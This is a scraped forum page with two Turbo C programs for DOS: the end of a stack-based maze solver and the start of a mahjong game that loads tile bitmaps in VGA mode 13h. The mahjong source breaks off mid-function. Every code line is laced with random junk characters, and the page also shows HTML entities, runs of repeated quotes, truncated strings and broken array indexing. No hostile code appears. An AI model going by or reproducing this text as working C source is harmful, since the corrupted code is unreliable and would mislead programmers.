maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)  T+ r4 K, w, I* e/ T- o
return TRUE;% @+ f8 v- G+ y
else return FALSE;
, q6 S2 f. d/ R9 [0 X' v} /* Pass */
# r! O7 H! {. s9 |) [% q7 Jvoid MarkPrint(PosType seat)5 I. l; G1 @% b2 v  {* s5 R
/* Mark the position seat. */4 B* c; X, U6 F
{$ O2 u2 F2 z* G  u" D
maze[seat.x][seat.y].mark=-1;
& q! ~0 J! H# L  ~1 `" ?/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
4 F: p& I( @) N  Q# g0 K} /* MarkPrint */4 l, S6 V1 u( o! e
void FootPrint(PosType curpos)  {  w  |$ G1 T- y. g0 [
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */$ M8 T. G+ @, N; G
{
+ l+ T8 A6 A/ t/ d$ c- Qmaze[curpos.x][curpos.y].foot=1;
3 R  M$ J% D  m* h} /* FootPrint */9 B$ D4 B- F& H, ~
PosType NextPos(PosType seat,int di)
9 {$ r: S5 |" c{0 s2 C3 d1 a- a2 c
switch(di)
+ P- z' n( T+ x0 y  f# f; i{  u2 y( P3 v% d
case 1: seat.y++; return seat; /* Eastward */8 @0 S: k# O0 }' w  q6 q
case 2: seat.x++; return seat; /* Southward */
3 ?, M" z5 O$ j. s/ J' Pcase 3: seat.y--; return seat; /* Westward */
6 t+ Z0 k! {! J% w. c" ]8 I- \case 4: seat.x--; return seat; /* Northward */$ ]+ @4 a0 C- y2 ?& y& Z
default: seat.x=0; seat.y=0; return seat;! M# {( L8 v  `
}
6 }8 d3 d+ J) a* _/ f3 U/ z} /* NextPos */
! I- S" U! w- s, C; E* o
$ I5 u9 L% c6 V3 l: W3 m/* The key to the program. */2 W, n  c* B, R' L/ v; \
/* Pre: The maze array &amp; the startplace &amp; the endplace.3 G6 F  @. C$ u. s7 q" k! j. p, W
Post: Find the one traverse of the maze and perform the mazepath.0 X! B; @8 \* `) ?2 s% D1 V
Uses: The ADT stack class.
+ j9 [+ a+ @- h6 u*/: a0 }$ z4 a5 i! q, P
Status MazePath(PosType start,PosType end)
  Y7 e; F: ]6 p/ F" B; u{
$ }8 m3 p, d* o3 g- }PosType curpos;$ \2 b7 L+ N) e
int curstep;/ `$ a1 O. X4 X; Q2 L
SElemType e;
" h$ y$ k0 I" o* u/ uStack *s,stack;
+ w& J' E2 _  F% |" \" [stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
, u. ?! s/ _8 D) f+ W$ z  xif(!stack.base) Error("Overflow");& {! i# J8 d. e$ ^, V4 t* ?
stack.top=stack.base;1 g  H0 s6 b! Y
stack.stacksize=STACK_INIT_SIZE;' a" v5 t7 R$ a; p7 F- V5 {
s=&amp;stack;
2 E8 J! `- Y3 X0 K; Icurpos=start;, ]% z9 G, S6 R  ]" s9 y+ y
curstep=1;$ b: ?9 |( y, C+ h
do
3 c3 x5 r! X6 y1 K5 Q" i+ g. c{% i& C' x1 j! [
if(Pass(curpos))
, X3 i( k( B- ]* ^8 A{
/ C" @4 \+ k/ A0 \$ P# h$ _5 Y. zFootPrint(curpos);
% d( {6 E8 I9 V, E7 Re.ord=curstep; e.seat=curpos; e.di=1;) T( w4 e0 b* n6 ~" r9 @0 d
gotoxy((curpos.y+1)*2,curpos.x+2);
6 Y: f' h4 q; f8 _6 \putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');( |# G! q  E: o# ?
delay(8000); /* pospone time. */' H/ K+ Z$ Z; y! z5 ~
Push(s,e);
  C. T$ a* q, j! f' {/ h; ^if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
' \3 H2 t7 U2 A$ `4 y+ {- a{' a/ g% M5 E& V6 \+ S$ Y1 L5 @
DestroyStack(s);
9 L" e9 c4 x% _* ]4 Nreturn TRUE;4 o+ X: d4 v2 v4 ^1 s' n* K
}8 \$ {6 z' T8 ?4 s9 D  p
curpos=NextPos(curpos,1); /* Try next position. */4 m8 n: P) G# g' N% F8 }
curstep++;4 g. b; M+ i+ l5 O
}$ t( I0 W( g) B$ Z) p4 J
else
9 f  N0 {6 n* o) [- v& n{
0 Q  B& v7 ~0 o) pif(!StackEmpty(s))4 |8 v1 q: S) j! E
{4 l/ {0 c# s! c& \
e=Pop(s,e); /* Removed e from s. */# v% J2 t- b/ f
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked- V6 B2 A1 a; H. X8 I, q# r$ @( Y
and s is not empty. */
5 ^2 o, z. `0 I  N$ h# @{8 X; p/ _( x: C1 y( e) U
MarkPrint(e.seat);
7 B- T" E( v% tgotoxy((e.seat.y+1)*2,e.seat.x+2);2 A4 Q. ?+ b2 J; e; T
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');- o% H; N  N- a% e" X/ q
delay(8000); /* Pospone time. */
$ b. l% i+ i- s; A. @/ S7 `gotoxy((e.seat.y+1)*2,e.seat.x+2);
$ `: h; \0 A% e5 ^/ @6 p1 v7 O" x) ?1 Wputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');' ?, o' q: t" ^# d1 m- s$ b+ R% D& S
e=Pop(s,e); /* Remove e from s. */' g$ u1 B2 t# Y9 w: S& u* r
curstep--;
) F9 a) s# n' W}/ ]2 |' F$ S' l4 ^4 \+ X7 }
if(e.di&lt;4) /* The current position hasnot been checked. */3 V8 s5 R# y! E: S% r. [
{
) H' ?0 u% S3 q/ t! ~3 P% fe.di++;; A1 l5 ]9 |2 N9 ~
Push(s,e); /* Insert e into s. */% t% V2 @! d6 v
curpos=NextPos(e.seat,e.di); /* Try next position. */
$ _4 B* b' G/ n  }* F4 l1 t}
0 y4 q" H0 P9 ]}* l+ [3 W' |; q/ y  N3 j
}
6 F, @+ s* K3 Z# t" s}; V7 C! X8 [* b9 P
while(!StackEmpty(s));
; l6 h2 k( R$ aDestroyStack(s);
0 p( R) E9 X' ~+ {, Ereturn FALSE;  g6 }$ C) `& O4 W
} /* MazePath */1 s0 x$ h9 A. K/ G3 _
void main()3 J1 P1 v0 }7 j" x6 R9 b- h4 B( ?. K
{, ?  |  E, H/ j4 ?- t8 ^5 O8 P2 G2 Z
PosType start,end;, J! U3 @) @. w
CreatMaze();( j7 D" N) O3 Z. s" n2 i* ]
start.x=StartPlace.y;
2 S% s9 u8 @* ~) lstart.y=StartPlace.x;& n* M1 [' f/ s" x, k& d
end.x=EndPlace.y;
! b( U; h% L8 h) M- Yend.y=EndPlace.x;! _# y5 \6 e) e* `5 D: g; f) ^
if(MazePath(start,end))8 Z3 V$ U' I* v+ \. |
{7 G; c) h6 H: O! z8 Z  T- x
gotoxy(2,22);
& O# @. A: {* P4 zprintf("ath found\n");$ q& R, e# i/ D/ _1 y5 _; Q
}2 q# g1 N- X& |6 Q8 Y1 L9 f2 a
else
  Q- @( i6 d% Z( C{
- Q' {8 @# _+ K% G! j& x, ~+ [gotoxy(2,22);
* b( v) B# P$ p" w2 \7 rprintf("ath not found\n");
6 E+ s& O0 w# v}
+ X) B; V& e, h8 M, hgetch();# c/ C# U$ u9 k! J: ]& a+ Z4 I
clrscr();
7 o; y5 c) S  Y" F$ Q$ v* m} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
% l. h6 }8 ^0 P6 j; e$ O) X2 x" \/*天宇软件
+ P9 p6 `7 |4 _作者:上海黑暗之龙. C2 S5 F, ~7 Z4 V+ {  [
2002/10/303 n, H* Z/ s) U' ~
麻将原代码*/
* i# d7 T, ?9 l& E/ u#include "dos.h"
' w, s8 w9 q6 p% W# ~, t. l#include "stdio.h"
' q" y0 o/ Q# E3 O4 P, ^#include "graphics.h"6 }2 E0 k0 Y- t
#include "bios.h"
& C, B" i4 v3 U: N4 n, |5 \#include "conio.h"" Q; A8 a/ Z. y+ b! @
#include "stdlib.h"
, I6 H6 Y( k, F5 z5 aunsigned char far *video_buffer=(char far *)0xA0000000L;
& a$ ~7 i% `3 q& p, C- u#define VGA256 0x13 /*图形模式13h*/8 s8 h4 ]7 U8 A$ R/ T  y$ l6 `
#define TEXT_MODE 0x03 /*普通文本模式*/3 C; V( m% a# H+ t  [- Y$ r
#define SETVGA Set_Video_Mode(VGA256)
; \2 d  z+ y4 r+ c9 {#define OUTVGA Set_Video_Mode(TEXT_MODE)
% e; z. L1 W% V/ y#define BYTE unsigned char
4 Q4 ^  O6 ]2 g* [7 B, t; H#define WORD unsigned int! d9 N: s+ y( Z5 T8 y; P6 k- ]
#define DWORD unsigned int2 H) A: a- ~3 z0 Z
#define ESC 283
4 V8 L6 k3 [8 O9 O- g#define LEFT 192002 ]% Y4 `; d+ r% m
#define RIGHT 19712. t' q! ^7 I7 l
#define H 9064+ [7 g* l: w, _
#define ENTER 7181
% t$ b- [; y6 \+ P6 B2 j* bunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
$ |, |$ L2 u* `; L+ B6 u* g4 ~7 jint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
: _4 j5 N! D8 n4 S. V5 M" ]. h( nstruct chi, N8 \- ~' s. ~4 `' D; O6 m$ |
{
; B" V3 R7 T. ^int lg;
) T6 O' j, d- n: }* qint lgg;9 x& q2 ]9 x; M! r8 r
}ch[13];1 n: i* u/ z! W/ t7 t) _
struct mj3 D. j$ F9 Y4 Q4 N/ \$ ~
{ char *name; /*名字*/) s% r8 ^& ]! v9 @7 t' W. P
int data1; /*是否已出,无用了*// v: ]( e4 g. v4 k4 H( Q
int data2; /*是否在手中,1为自己,2为对方*/3 l0 h, o! P* T, a8 H1 H  i- p$ [
int number; /*同一个花色的第几张,共4张*/( s0 I! q! o0 V# l4 C" w: W/ A
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,# i, {5 q8 G' a6 o! K. T" l% N5 N
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
: V; ~) ~. E, v* t8 L"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
4 Q' p  Z" B1 G"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,1 a9 ^  u1 o( t3 L7 J4 n; L+ Z
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
7 ~. E- h9 z7 H# g; L' G- t% l3 {$ M"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,, S: {* K7 q( @& ~# s) Q2 W* {
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
# e/ ]7 C+ t2 R"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
5 D- P0 z( m5 u# m$ Q3 X6 J0 P"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
1 k; z. ]' b* f3 ["12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
( s- C; S: n8 @"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
/ t3 a4 Q/ Y. }7 y: g"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
6 q9 I6 D# F! N2 i4 e"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,- @2 p" w% C+ X6 u- e
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,. {1 _5 F4 K$ u( x
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,1 Y9 V# i4 T0 M4 U8 t# i
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,. `) F5 p1 @0 W
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,$ z& J& k4 Y6 J( s! \1 a
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
& J8 ?; \; N$ N, B9 c1 p* l"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,  z, J: `" G. L) X% ?) K
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
$ a* `% z" _' M; _; q1 S. Z  F"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
; T0 @' @  T1 ?"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,2 O  q+ A* |. V9 T7 [& t1 r3 H
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
1 ^. k  `' U. G, ]& m/ ^# l% a$ Y"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
1 ~5 ]( G2 f0 D% J3 b- X6 ^"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,' V/ E' H  g$ A0 y/ B* }1 z! B* _5 _
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
/ X4 g- h1 M6 @! {5 u1 @"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,: t) h; E0 n, V9 [, h  W8 ?
"34.bmp"};' ]7 u9 Q# r- [) {/ i
struct every
# b# n* n& o& ]0 C{ int *k; /*名字*/3 B( |* Q) _: O9 K0 L  U( x# [. C- P+ I6 ]
int oneorfour; /*同一张牌的第几张*// n: d5 U( M+ a, o8 i+ r& g9 }
int number; /*第几张牌136*/
) y# p  j" @: \9 pint p;) h3 l, O8 g) D% F+ S
int g;
( B. R  ?4 N$ n. `7 E- u, @' Mint c;
+ O0 [$ i6 F, S2 W, I3 mint d[2];
& M( u/ z: {1 S( A( e' _};1 G, F% F* }& H# ?& N" y  ~7 U
struct me
# m* _7 B) h8 i. Z+ h{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
! e8 e# {' ^! J8 M2 }9 ?int p; /*乓对方*/
6 ^0 A( M5 T( D% H6 r+ S8 eint c; /*吃对方*/
/ p2 @3 j7 M' ~1 M$ L: Vint g; /*杠*/
5 R$ o) J' V0 w2 t2 w
( i' E# B( Q5 `  Y% U+ K: \* jstruct every pp[14]; /*存放手上的牌*/
8 P, ?" m7 j7 ?1 u& M. |7 p}me;, `4 g! n" z: G( L
struct computer
' s# Z% ]$ I& `" n0 {! H, a{ int m;
8 v. q9 t5 l# Xint p;
: @$ {$ }5 }. W6 Vint c;
1 j$ W; ]2 X2 }+ Nint g;" ?- m1 @, z, o
struct every pp[14];
& H6 N+ f0 G6 |! ?6 H: K- F}computer,comp;5 \/ G3 g" F1 E  g

) D' P1 Z! `  Z' C/* 设置调色板 */- P! n1 x7 W& g7 y
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)1 }9 k# F' L% ?+ i1 }' l
{" h; t" p" Y3 o7 u! x5 s
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/1 ~* f4 }$ _* o7 u0 g
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/! t4 X/ v* D/ }: j  Q0 G0 a3 q9 H
outportb(0x3c9,g);- M. n* v# f7 z
outportb(0x3c9,b);$ B5 q( C& B4 o# K6 U! u" k/ {
}8 w( @3 W$ m* X- C4 o3 w, f
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/. ?! m; ]% g2 K+ x
/* 设置显示模式的函数 */3 Y% N9 b0 }5 z  p( C5 _/ A6 O
void Set_Video_Mode(int mode)
- F( J* D0 b! t0 r: i{
# v- t2 b8 ?' G- b$ {union REGS inregs,outregs; /*定义输入和返回寄存器*/
1 T+ U  K0 ]' X7 qinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/7 i( X1 J7 Q/ Q
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
( f% f0 i) L2 u; s$ ]  K- Uint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/" j& ]8 Z6 k5 [2 \) c6 e8 [
}
1 ]  k5 ]+ A' W8 B5 Kvoid v_line(int y0,int y1,int x,unsigned int color)
2 Z9 A+ I: j8 S3 A4 m% `( [{ unsigned int address,n,temp;' I, E% K3 P$ @2 N
if(y0&gt;y1)7 M4 w- u; f( q" e3 z, c3 _4 [
{
& v* }) Z% j2 E/ E5 _) ^, ?+ Dtemp=y1;
+ v2 {! d' }% l2 v4 T5 z( e7 by1=y0;
/ U( `& g1 h- D6 h& qy0=temp;+ {" J+ v: S; T; T
}
' F! x) w' f; yaddress=320*y0+x;: l8 X1 |$ Q9 q8 {
for(n=0;n&lt;=y1-y0;n++)
- k4 j! D8 |4 d7 D{& ^- S) T4 g6 s  r
video_buffer[address]=color;
0 S. p+ M) L" x, f/ _  ~address+=320;( a: C/ [" e3 B$ X
}3 @. b$ y5 \( F% f: W: }7 I2 F
}
, K4 v: t* t: D% ]% evoid h_line(int x0,int x1,int y,unsigned int color)/ ?4 i3 w' p# Z, O1 d' v( n5 F
{ unsigned int address,n,temp;. P1 M! d$ K5 U8 T, ^: q1 U6 A
if(x0&gt;x1)$ e  E0 y$ h+ L2 @2 {( d
{. @. [0 ?/ i+ Q% B) j
temp=x1;
  o5 X& j( B, jx1=x0;
: q, D5 Q3 D; {; m- N& l5 Z5 x4 o: fx0=temp;2 q  u8 t- ?$ }1 X4 U
}
1 j8 l) A$ t2 \  faddress=320*y+x0;
- t1 R& J2 ^; D; w# L+ h6 m, Bfor(n=0;n&lt;=x1-x0;n++)* o+ x' P" J4 x. g$ o. a
{+ o( ^- T5 I) N4 l) Y
video_buffer[address]=color;* d8 @% _! k& R6 J: p
address+=1;9 `: g) i' s) j0 Q# x0 @+ ^# H
}
6 T# G+ k  @0 G, ?* k( Z) z}
$ o- d1 v  w/ q; r: n9 D' X) _+ wvoid p_pixel(int x,int y,unsigned int color)" f; B& F% @9 ?
{ video_buffer[y*320+x]=color;; L# M% _+ Z2 r0 I0 ^. V
}8 a( F3 v& q* a$ ~6 X" u( T- O+ H- F- `
void s_square(int x,int y,int side,int color)3 t! u0 I6 B' q& P# c- `1 W
{1 g4 c" p( D- m0 I
h_line(x,x+side,y,color);# T7 y% F2 i9 D, c  f
h_line(x,x+side,y+side,color);
3 R0 T6 U# O) b$ _$ Lv_line(y,y+side,x,color);% M# \5 T# Z% {  D0 u: T2 A
v_line(y,y+side,x+side,color);
, q4 _* l% I+ q( e}
1 Z, C" c$ D% O" p1 U2 e1 B: ivoid r_rectangle(int x1,int y1,int x2,int y2,int color)
! p0 }% c. N. e  M4 \% x( X{
# r) e, O4 E: Q2 u1 X, _& `h_line(x1,x2,y1,color);# W& Q$ Q2 u1 i
h_line(x1,x2,y2,color);: k& q! ]+ k7 {+ }9 {' w5 |1 g, }
v_line(y1,y2,x1,color);
- ~- z3 l! J: s& n8 c9 }# kv_line(y1,y2,x2,color);, c: z% k" v& I6 V. d" s
}
# U" W7 S+ H6 f4 ovoid fillRectangle(int x1,int y1,int x2,int y2,int color)
% A' i, `( g3 j{' `0 P, ?% i0 L! M0 O: h
int i;5 K: x3 }+ A0 A$ A
for(i=y1;i&lt;=y2;i++)$ d* h" w  e; C7 Z# H
{
3 D1 Z/ `! Q. k# d; dh_line(x1,x2,i,color);" U3 f9 F% r+ w7 W
}. f' z0 |4 h3 i/ G6 j4 J. o# T
}
/ D% N. F, x9 o! E( Q3 ?" `void showbmp(int l)
9 \7 |: I0 g. h: f0 O( Q{ FILE *bmp;
! ~" C3 X: U/ {8 Jint i,x,y;* ^: l6 }8 `4 z" z
BYTE palette[256][3];7 u' k9 [2 h, f4 r: H9 [
bmp=fopen(me.pp[l].k,"rb");
$ J; A, t/ _3 S2 z: `0 pfseek(bmp,54,SEEK_SET);- o& h5 C3 ]0 ]
for(i=0;i&lt;256;i++), y: E, c1 a% D# i( x% w
{
% d( o7 {# s& @9 q( z( q9 opalette[2]=fgetc(bmp)&gt;&gt;2;8 p1 w0 w; g& K* S
palette[1]=fgetc(bmp)&gt;&gt;2;
( Y7 Z7 z- m& C8 xpalette[0]=fgetc(bmp)&gt;&gt;2;/ u* \! Z7 g4 v% n3 M
fgetc(bmp);, X/ {+ E. V/ z' D3 O% O
Set_Palette(i,palette[0],palette[1],palette[2]);
2 }4 I: l& `4 s! m2 J  z2 |}
* d# `  p$ \8 [! C4 ~7 k* Nfor (y=0;y&lt;30;y++)% i, w. I- O# d' D( H1 l  f
for(x=0;x&lt;20;x++)
2 o* w& H" Y' {3 J8 Y1 X1 spokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));! C5 Z7 f! ^( ?$ u
fclose(bmp);
" p* i% J0 n: q% ?. @4 h8 \+ T}
* v- x: \1 U9 hvoid showbmpd(int l)
% s- u0 r. t3 a/ }& v% y2 Q{ FILE *bmp;; _; l! n2 W- Y5 q* R
int i,x,y;
5 o8 I6 ]9 h- Q2 r( S* f# U. t4 xBYTE palette[256][3];
  a7 a) G" z: C- Z8 h, v0 Tbmp=fopen(me.pp[l].k,"rb");
$ K; _, q( R% n% D& Zfseek(bmp,54,SEEK_SET);
) E4 f7 g/ s1 F$ s6 S( d* Zfor(i=0;i&lt;256;i++)
  D: w! a3 E  F; V( i, d{- v) H! b, j2 [9 f+ f' x8 l: a1 Y
palette[2]=fgetc(bmp)&gt;&gt;2;
" ]% _9 r) `/ q3 K! W5 rpalette[1]=fgetc(bmp)&gt;&gt;2;! U" w  U0 J, f0 E& q
palette[0]=fgetc(bmp)&gt;&gt;2;
, l% h/ E- q' z  X7 A) ]  E5 e4 Afgetc(bmp);
4 D' G7 p: C. mSet_Palette(i,palette[0],palette[1],palette[2]);" W% w, p- a  d
}# G1 u! ?& M! Q
for (y=0;y&lt;30;y++)
+ L% n: n! p! }( W& {" zfor(x=0;x&lt;20;x++)& O! _: `2 w; U7 l
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));; c; d2 t5 s8 H: J6 v8 ]1 Q$ b
fclose(bmp);& k& o' E" ]: T% z! l4 o: P7 M) s
}. t6 o* w4 U9 X7 g. n8 w
void showybmp(int ll)
/ X) }* W2 R2 q$ `  S{ FILE *bmp;
# |/ S5 F# }( I( K+ \: {1 Hint i,x,y;
4 U  T8 _; i' c+ A* E) ^3 WBYTE palette[256][3];4 w2 b( j: z  P- ?, E  S
bmp=fopen(computer.pp[ll].k,"rb");, p0 y- B. T' v8 ?8 w
fseek(bmp,54,SEEK_SET);4 X0 M& r3 E: ]! w
for(i=0;i&lt;256;i++)
4 c$ ]* o  U1 x8 M# f{
& F. L! K( i* ?, rpalette[2]=fgetc(bmp)&gt;&gt;2;, q* G1 S, {! \5 x% h
palette[1]=fgetc(bmp)&gt;&gt;2;, h+ ~" X: D- {7 }* Q4 `
palette[0]=fgetc(bmp)&gt;&gt;2;
# D# z  q4 A* L% H) b% l1 vfgetc(bmp);
1 d- J" ~+ `; p1 \6 tSet_Palette(i,palette[0],palette[1],palette[2]);
& \* r' H; B% w( R) |4 b/ x}
! M& H6 m0 c. A& o4 `- [for (y=0;y&lt;30;y++)+ t! F1 i, F7 H: f' |
for(x=0;x&lt;20;x++)
8 e/ r. W7 _3 V  fpokeb(0xa000,y*320+x+zy,fgetc(bmp));
; h' s+ Q: [" q# ^! n" K! B" qfclose(bmp);( e# D9 V1 J6 z* W
}
) F, c( g% T' W0 [% T, Wvoid showcbmp(int ll)) l% v/ w8 _/ O" L5 b
{ FILE *bmp;! _) ?# p* @7 r% o6 x4 V, D. p0 J
int i,x,y;
5 d" l1 G5 D/ K" vBYTE palette[256][3];, A. ^" Z  ]% j
bmp=fopen(computer.pp[ll].k,"rb");
8 c. ?( [6 T5 ^3 p% Q& ^fseek(bmp,54,SEEK_SET);
- U* \6 J4 @; K( f' ?# v% qfor(i=0;i&lt;256;i++)4 a, u" b$ @8 K
{
( d$ W  R1 a* y+ s, B0 Z  vpalette[2]=fgetc(bmp)&gt;&gt;2;7 K* l; @1 g2 \- W& \
palette[1]=fgetc(bmp)&gt;&gt;2;
3 r! ^9 t, P6 B; x6 ]palette[0]=fgetc(bmp)&gt;&gt;2;
! f3 p7 P9 @' c7 K! _) I! j: ?fgetc(bmp);5 v% X2 A; h. p- b; s9 q
Set_Palette(i,palette[0],palette[1],palette[2]);
" `* ^% l  r& T1 y& R3 Z5 [: r9 E}+ R% H. h9 i8 ]/ n' E
for (y=0;y&lt;30;y++)7 c0 {+ E6 ]. e$ x# K" t
for(x=0;x&lt;20;x++)8 K1 p! a2 i9 i2 X, v
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
" N4 C: r' _/ F* F6 Ufclose(bmp);  b1 G" p4 \8 f  a$ V! ~4 j
}
+ F5 t& @; |* ]; W3 O, E3 _1 Nvoid bmpp(int number)
( t& Y5 S' m% `, C) r& P) [{ FILE *bmp;
. f3 o  r: k! n+ S) Q( z" j6 ~  lint i,x,y;9 d! a0 J( l- o# I; q4 q
BYTE palette[256][3];
; e! ^6 }8 w: u4 e) cbmp=fopen(m[number].name,"rb");$ s3 O  x: f6 h
fseek(bmp,54,SEEK_SET);
% @  h3 K# K1 j5 I7 {/ efor(i=0;i&lt;256;i++)/ b* t# h: I/ {: X. f5 \- c+ V
{
8 N$ O+ G$ n6 _! Apalette[2]=fgetc(bmp)&gt;&gt;2;
! V/ Y6 r6 }6 j; O, `palette[1]=fgetc(bmp)&gt;&gt;2;& B8 q1 z( g; r, S% H' W; W5 I7 w
palette[0]=fgetc(bmp)&gt;&gt;2;
' D3 ]% L: [/ k# bfgetc(bmp);: x2 W( k) C9 U
Set_Palette(i,palette[0],palette[1],palette[2]);/ d' {" E  |- U
}
! X% [$ J- p+ ~for (y=0;y&lt;30;y++)
& M7 z, l! V8 J- mfor(x=0;x&lt;20;x++). f2 y- ^# ^2 a6 h/ v' ?
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
, C2 V% \9 ^3 T! N4 K9 d2 ~fclose(bmp);
1 `7 b; l. }" w7 P- g}
( k% U+ j) U, V& G# O, p9 m& B1 j0 V0 zvoid comlipai() /*整理电脑的牌*/
' F3 z$ Z: ?+ L) l6 L# i{ int n,j,u;/ {) i' V9 D7 m# V. h+ K
int *lingshi;
7 [9 L& R0 }' J' {2 Vfor(n=0;n&lt;computer.m;n++)
7 N$ h3 t; W7 m5 `$ w0 mfor(j=n;j&lt;computer.m;j++)
; {. A- W* {% G/ @" X" m# H{5 [) r2 `4 D/ L# e7 y3 ^
if(computer.pp[n].number&gt;computer.pp[j+1].number)" f$ D( @+ C* }" R  Y0 @! N
{
0 L9 s" S. Z) }, `' Z6 g) m: F5 Alingshi=computer.pp[n].k;; C9 R( ]& R( @  H
computer.pp[n].k=computer.pp[j+1].k;
4 E# O! k  j5 t9 M4 \computer.pp[j+1].k=lingshi;1 D- f& \& D% {# w
u=computer.pp[n].oneorfour;
' n$ Y3 I5 d$ r" @computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
4 j: w; `' Y5 B# h& j+ o3 @computer.pp[j+1].oneorfour=u;% R: D5 l  Y7 f0 B0 u2 j: g! s' b3 O. x
u=computer.pp[n].number;% E# e8 @5 q5 i- f5 ~. P
computer.pp[n].number=computer.pp[j+1].number;
0 f' @/ I# B5 i$ F! Jcomputer.pp[j+1].number=u;* P, ~) m5 x9 x' \3 g, _
}3 f: ^$ e8 g) y/ N! W0 S0 ^
else
8 M7 V+ X; |8 Zif(computer.pp[n].number==computer.pp[j+1].number); r- _( I5 G  _/ F  K
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
" E* D2 f. H. N# }{
. i! O( L1 U/ x: I# dlingshi=computer.pp[n].k;
2 v- s+ i' ^8 ]computer.pp[n].k=computer.pp[j+1].k;- @: p* R8 P, C6 \5 H4 h( x
computer.pp[j+1].k=lingshi;
) ~" i6 L# Z3 |) I6 ?u=computer.pp[n].oneorfour;
( Z1 B' K  T) dcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;& z! k$ C) n' ~- t/ F
computer.pp[j+1].oneorfour=u;
$ [9 N. X: h" \' x1 K: ^" H' [u=computer.pp[n].number;
